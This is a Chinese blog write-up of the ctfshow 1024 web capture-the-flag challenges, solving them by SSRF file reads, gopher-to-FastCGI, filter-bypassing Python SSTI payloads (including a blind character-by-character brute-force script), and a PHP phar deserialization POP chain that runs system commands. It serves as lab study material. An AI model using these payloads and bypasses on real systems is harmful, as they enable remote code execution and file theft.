首页 > 其他分享 >[CTFSHOW1024]Web篇

[CTFSHOW1024]Web篇

时间:2022-12-14 20:32:56浏览次数:41  
标签:__ Web CTFSHOW1024 phar class x5f file public


文章目录

  • ​​1024_WEB签到​​
  • ​​1024_图片代理​​
  • ​​1024_fastapi​​
  • ​​姿势一​​
  • ​​姿势二​​
  • ​​姿势很多,随便测试两个​​
  • ​​1024_柏拉图​​
  • ​​1024_hello_world​​
  • ​​参考文章​​

1024_WEB签到

代码审计,唯一利用点​​call_user_func​​​,一般都是需要两个参数(可以看看官方文档你就知道我的意思了),但是本题只给了我们传入一个参数的选择,那么他必定是无参数的函数,加上这个是一道签到题,所以不难得出看看​​phpinfo​​里面到底有啥

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-20 23:59:00
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-21 03:51:36
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

​http://426a1193-175d-45bb-acd8-f8ae1444f794.chall.ctf.show?f=phpinfo​​​ 在​​phpinfo​​当中发现关键的利用点,有个支持的函数​​ctfshow_1024​

[CTFSHOW1024]Web篇_php


flag就出了 很简单

[CTFSHOW1024]Web篇_php_02

1024_图片代理

首先打开题目看见URL后面跟的参数感觉可控,base64解密后得到​​http://p.qlogo.cn/gh/372619038/372619038/0​​​,既然如此那就试一试能不能访问本地文件​​file:///etc/passwd​

[CTFSHOW1024]Web篇_bc_03

完全没问题,猜测成功

[CTFSHOW1024]Web篇_bc_04


尝试直接读取​​file:///flag​​,没有回显,然后就懵逼了hhh,考虑下其他方面,比如默认的配置文件啥的,老规矩​​BurpSuite​​,发现是​​nginx​

[CTFSHOW1024]Web篇_php_05


读取配置文件​​file:///etc/nginx/nginx.conf​

# /etc/nginx/nginx.conf

user nginx;

# Set number of worker processes automatically based on number of CPU cores.
worker_processes auto;

# Enables the use of JIT for regular expressions to speed-up their processing.
pcre_jit on;

# Configures default error logger.
error_log /var/log/nginx/error.log warn;

# Includes files with directives to load dynamic modules.
include /etc/nginx/modules/*.conf;


events {
# The maximum number of simultaneous connections that can be opened by
# a worker process.
worker_connections 1024;
}

http {
# Includes mapping of file name extensions to MIME types of responses
# and defines the default type.
include /etc/nginx/mime.types;
default_type application/octet-stream;

# Name servers used to resolve names of upstream servers into addresses.
# It's also needed when using tcpsocket and udpsocket in Lua modules.
#resolver 208.67.222.222 208.67.220.220;

# Don't tell nginx version to clients.
server_tokens off;

# Specifies the maximum accepted body size of a client request, as
# indicated by the request header Content-Length. If the stated content
# length is greater than this size, then the client receives the HTTP
# error code 413. Set to 0 to disable.
client_max_body_size 1m;

# Timeout for keep-alive connections. Server will close connections after
# this time.
keepalive_timeout 65;

# Sendfile copies data between one FD and other from within the kernel,
# which is more efficient than read() + write().
sendfile on;

# Don't buffer data-sends (disable Nagle algorithm).
# Good for sending frequent small bursts of data in real time.
tcp_nodelay on;

# Causes nginx to attempt to send its HTTP response head in one packet,
# instead of using partial frames.
#tcp_nopush on;


# Path of the file with Diffie-Hellman parameters for EDH ciphers.
#ssl_dhparam /etc/ssl/nginx/dh2048.pem;

# Specifies that our cipher suits should be preferred over client ciphers.
ssl_prefer_server_ciphers on;

# Enables a shared SSL cache with size that can hold around 8000 sessions.
ssl_session_cache shared:SSL:2m;


# Enable gzipping of responses.
#gzip on;

# Set the Vary HTTP header as defined in the RFC 2616.
gzip_vary on;

# Enable checking the existence of precompressed files.
#gzip_static on;


# Specifies the main log format.
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

# Sets the path, format, and configuration for a buffered log write.
access_log /var/log/nginx/access.log main;


# Includes virtual hosts configs.
include /etc/nginx/conf.d/*.conf;
}

看见最后一排​​file:///etc/nginx/conf.d/default.conf​

server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/bushihtml;
index index.php index.html;

proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

location / {
try_files $uri $uri/ /index.php?$args;
}

location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}

location = /404.html {
internal;
}

}

然后发现一些关键的配置信息

root         /var/www/bushihtml;
index index.php index.html;
fastcgi_pass 127.0.0.1:9000;

不难想到一个利用点​​Gopher打fastcgi​

[CTFSHOW1024]Web篇_nginx_06


看出名字即为flag

[CTFSHOW1024]Web篇_nginx_07

1024_fastapi

这里提供两个姿势吧,也是自己学到的新姿势

首先打开网站环境

[CTFSHOW1024]Web篇_nginx_08


根据题目提示搜一搜​​fastapi​

FastAPI 是一个高性能 Web 框架,用于构建 API。

主要特性:

快速:非常高的性能,与 NodeJS 和 Go 相当
快速编码:将功能开发速度提高约 200% 至 300%
更少的错误:减少约 40% 的人为错误
直观:强大的编辑器支持,自动补全无处不在,调试时间更少
简易:旨在易于使用和学习,减少阅读文档的时间。
简短:减少代码重复。
稳健:获取可用于生产环境的代码,具有自动交互式文档
基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema

通过官方文档发现其自带一个交互式API文档

[CTFSHOW1024]Web篇_bc_09


这里发现两个网址,根据经验应该是第二个地址

[CTFSHOW1024]Web篇_php_10


因为基于​​Python​​​,所以可以尝试一波​​SSTI​

[CTFSHOW1024]Web篇_php_11


发现不用加上​​{{}}​

[CTFSHOW1024]Web篇_bc_12


发现报​​500​​错误,可能是因为类型不匹配,这边需要字符型

[CTFSHOW1024]Web篇_php_13


成功了

[CTFSHOW1024]Web篇_bc_14


成功,尝试执行命令,需找到​​[].__class__.__base__.__subclasses__()​​下​​catch_warnings​​所在的下标,经过测试过滤了​​__import__\popen\eval​​等,发现能够绕过,发现在根目录没有什么敏感文件,我们查看当前目录下面读取源代码

姿势一

​q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("ls ./").read()'))​

姿势二

​q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read())​

[CTFSHOW1024]Web篇_php_15

姿势很多,随便测试两个

发现提示ok了,本题也结束了

[CTFSHOW1024]Web篇_php_16


得到flag

[CTFSHOW1024]Web篇_php_17

1024_柏拉图

在开始讲解之前给大家科普下常用的

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

首页利用点

[CTFSHOW1024]Web篇_php_18


不行,尝试file协议

[CTFSHOW1024]Web篇_bc_19


​file:///etc/passwd​​没有任何回显,但是下面没有报错了

[CTFSHOW1024]Web篇_php_20


最后发现是双写绕过,成功了

​fifile://le:///etc/passwd​

[CTFSHOW1024]Web篇_bc_21


​fifile://le:///var/www/html/index.php​​尝试读取主页

[CTFSHOW1024]Web篇_php_22


​upload.php​

<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在啦!";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}else{
echo "这个文件我不喜欢,我喜欢一个gif的文件";
}
}
?>

​readfile.php​

<?php
error_reporting(0);
include('class.php');
function check($filename){
if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
die("姿势太简单啦,来一点骚的?!");
}else{
return 0;
}
}
if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
die("这么简单的获得不可能吧?!");
}
echo readfile($file);
}
?>

​unlink.php​

<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){
if (preg_match("/\.\.\//i",$file)){
die("你想干什么?!");
}else{
return $file;
}
}
if(file_exists("upload/".$file)){
if(unlink("upload/".check($file))){
echo "删除".$file."成功!";
}else{
echo "删除".$file."失败!";
}
}else{
echo '要删除的文件不存在!';
}
?>

​class.php​

<?php
error_reporting(0);
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
?>

这里我们通过​​readfile​​​当中的​​/^phar​​​以及后来的​​class.php​​​不难想到是使用​​phar​​​实现反序列化,但是​​phar​​​不能出现在首部,可以利用​​compress.zlib://​​​或 ​​compress.bzip2://​​​函数来实现绕过
接下来我们看看如何实现反序列化过程利用,来构造pop链,不难想到把​​​class A中的a赋值为class B​​​这样当A对象销毁时​​__destruct​​​其中​​echo​​​ 就能调用​​class B当中的__toString​​​,这个时候,如果我们把其变量​​b赋值为class C​​​那么就能触发​​__invoke​​​来实现任意命令执行
接下来我给出生成​​​phar​​的脚本

<?php
ini_set('phar.readonly','Off');
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}


$phar = new Phar("phar.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new A('');
$o->a = new B('');
$o->a->b = new C('system("ls /");');
$phar->setMetadata($o);
$phar->addFromString("text.txt","test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

将生成的文件改后缀​​gif​​,并上传

[CTFSHOW1024]Web篇_php_23


​compress.zlib://phar:///var/www/html/upload/1.gif​​,成功了hhh

[CTFSHOW1024]Web篇_bc_24


将其改为​​system("cat /ctfshow_1024_flag.txt");​

[CTFSHOW1024]Web篇_nginx_25


成功得到了flag

[CTFSHOW1024]Web篇_nginx_26

1024_hello_world

看起来是一个​​SSTI​​的题目,补充一些绕过的知识点可以看我以前的一篇博客,见下面参考链接

[CTFSHOW1024]Web篇_nginx_27

发现不太像行,以为被绕过了

[CTFSHOW1024]Web篇_php_28


啊这,还是不行,看了网上的师傅说的才知道这道题是​​SSTI​​的盲注

[CTFSHOW1024]Web篇_php_29


[CTFSHOW1024]Web篇_bc_30


接下来就是一步一步测试了,接下里我就只给​​payload​​​来记录我的每一步了,当然还要知道​​catch_warnings​​​的位置,我们这里利用如果参数错误则服务器爆​​500​​​错误的特性来以及参数成功会显示我们自定义的字符比如​​2132​​爆破

注意​​字符串前加 r​​,不然python会有错误

import requests
for i in range(200):
data = {
'key': r'{%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()['+f'{i}'+r']["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]!=1%}2132{%endif%}'
}
url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
r = requests.post(url, data=data)
if '2132' in r.text:
print(data)
break

最后爆破出来是64

[CTFSHOW1024]Web篇_nginx_31


好不容易找到了姿势,有些不能用,不知道是我的问题还是环境过滤了,希望大家在评论区给出自己的新思路

​key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[64]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["\x5f\x5fdict\x5f\x5f"]["popen"]("ls /")["read"]()[0]!=1%}2132{%endif%}​

[CTFSHOW1024]Web篇_bc_32


最后我们用python脚本即可得到flag

第一步,得到根目录下文件名

import requests
import string

strs = string.digits + string.ascii_lowercase + ' -_{}'

url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
cmd = 'ls /'

name = ''
for i in range(0, 50):
for ch in strs:
payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(
i) + ']=="' + ch + '"%}2123{%endif%}'
data = {'key': payload}
r = requests.post(url, data)
if '2123' in r.text:
name += ch
print('name = ' + name)
break

[CTFSHOW1024]Web篇_bc_33

得到关键文件,之后便能得到flag了

import requests
import string

strs = string.digits + string.ascii_lowercase + '-_{}'

url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
cmd = 'cat /ctf*'

flag = ''
for i in range(0, 50):
for ch in strs:
payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(
i) + ']=="' + ch + '"%}2123{%endif%}'
data = {'key': payload}
r = requests.post(url, data)
if '2123' in r.text:
flag += ch
print('flag = ' + flag)
break

测试成功

[CTFSHOW1024]Web篇_nginx_34

标签:__,Web,CTFSHOW1024,phar,class,x5f,file,public
From: https://blog.51cto.com/u_15847702/5938365

相关文章

  • web前端--Code Review
    2022年马上结束了,年底了,做一些总结吧。主要关于每次前端的CodeReview注意事项,做的一些总结如下:数据处理在提交前处理,尽量不要在onChange中处理列表与详情页的源进源......
  • 31-WebAPP服务器TomCat及优化
    Tomcat基础功能Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,Tomcat具有处理HTML静态......
  • 深入分析JavaWeb 25 -- 自定义标签开发案例和打包自定义标签库
    一、开发标签库案例1.1、开发防盗链标签1、编写标签处理器类:RefererTag.javapackageme.gacl.web.simpletag;importjava.io.IOException;importjavax.servlet.http.Ht......
  • Go语言学习--接受和处理Web请求之接收请求(更新中......)
    GoWeb服务器请求和响应的流程如下:1.客户端发送请求2.服务器端的多路复用器收到请求3.多路复用器根据请求的URL找到注册的处理器,将请求交由处理器处理......
  • 通过WebRTC 的 RTSP 视频获取
    背景由于项目需要,需要使用摄像头在Web页面上展现,由于海康威视摄像头推出的流为rtsp流,已知存在的基于FFmpeg的方案延迟都太高,所以就项目最终选择基于此方案。方案说明webr......
  • webgl(three.js)3D光伏,3D太阳能能源,3D智慧光伏、光伏发电、清洁能源三维可视化解决
    3D太阳能、三维光伏、三维储能、使用three.js(webgl)搭建智慧楼宇、3D园区、3D厂房、3D仓库、设备检测、数字孪生、物联网3D、物业3D监控、物业基础设施......
  • 狂神说 javaweb
    javaweb1、基本概念web开发:web静态web动态web淘宝,不断变化技术栈:Servlet/JSPASPPHP1.2、web应用程序web应用程序:可以提供浏览器访问的程序能访问的任何页面都存在于世......
  • C# .NET HttpWebRequest 按每个请求跳过证书校验
     使用.NET4.5新加的属性 HttpWebRequest.ServerCertificateValidationCallback。 HttpWebRequestrequest=(HttpWebRequest)WebRequest.Create(url);request.......
  • 玩转 Go 生态|Hertz WebSocket 扩展简析
    WebSocket是一种可以在单个TCP连接上进行全双工通信,位于OSI模型的应用层。WebSocket使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据......
  • javaweb之文件上传总结
    一。文件上传:是指允许客户将本地文件,上传到服务器端 常见的应用:上传照片、上传新闻图片、上传附件 文件上传编程基本步骤: 1、在用户页面中添加上传输入项(客户端页......